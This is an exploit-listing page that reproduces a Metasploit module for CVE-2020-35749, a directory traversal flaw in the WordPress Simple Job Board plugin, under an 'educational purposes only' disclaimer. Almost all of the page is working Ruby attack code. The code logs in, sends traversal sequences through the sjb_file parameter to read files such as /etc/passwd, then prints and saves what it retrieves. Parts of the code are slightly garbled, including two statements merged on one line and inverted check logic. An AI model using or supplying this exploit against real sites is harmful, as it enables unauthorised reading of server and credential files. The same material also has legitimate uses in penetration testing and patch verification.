Wordpress plugin simple job board 2.9.3 authenticated file read (metasploit) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-01-21 | Type : webapps | Platform : php
This exploit / vulnerability Wordpress plugin simple job board 2.9.3 authenticated file read (metasploit) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(update_info(info,
'Name' => 'Simple JobBoard Authenticated File Read Vulnerability',
'Description' => %q{
This module exploits an authenticated directory traversal vulnerability in WordPress plugin 'Simple JobBoard ' < 2.9.3,
allowing arbitrary file read with the web server privileges.
},
'Author' =>
[
'Arcangelo Saracino', # Vulnerability discovery
'Hoa Nguyen - Suncsr Team', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2020-35749'],
['WPVDB', 'eed3bd69-2faf-4bc9-915c-c36211ef9e2d'],
['URL','https://arkango.github.io/CVE-2020/CVE-2020-35749%20DIr.%20Traversal%20Simple%20Board%20Job%20Wordpress%20plugin.html']
],
'DisclosureDate' => 'Jan 15 2021'))

register_options([
OptString.new('FILEPATH',[true,'The path to the file to read','/etc/passwd']),
OptString.new('USERNAME',[true,'The WordPress username to authenticate with']),
OptString.new('PASSWORD',[true,'The Wordpress password to authenticate with']),
OptInt.new('DEPTH',[true,'Traversal Depth (to reach the root folder',8]),
])
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def check
cookie = wordpress_login(username,password)
if cookie.nil?
store_valid_credential(user: username, private: password, proof: cookie)
return CheckCode::Safe
end
CheckCode::Appears
end

def run_host(ip)
cookie = wordpress_login(username, password)
traversal = '../' * datastore['DEPTH']
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ /^\//

res = send_request_cgi({
'cookie' => cookie,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,'wp-admin',''),
'vars_get' =>
{
'post' => 'application_id',
'action' => 'edit',
'sjb_file' => "#{traversal}#{filename}"
}
})

fail_with Failure::Unreachable, 'Connection failed' unless res fail_with Failure::NotVulnerable, 'Connection failed. Nothingn was downloaded' if res.code != 200
fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?
print_good('Downloading file ...')
print_line("\n#{res.body}\n")
fname = datastore['FILEPATH']
path = store_loot(
'Simple_JobBoard.traversal',
'text/plain',
ip,
res.body,
fname
)
print_good("File save in: #{path}")
end
end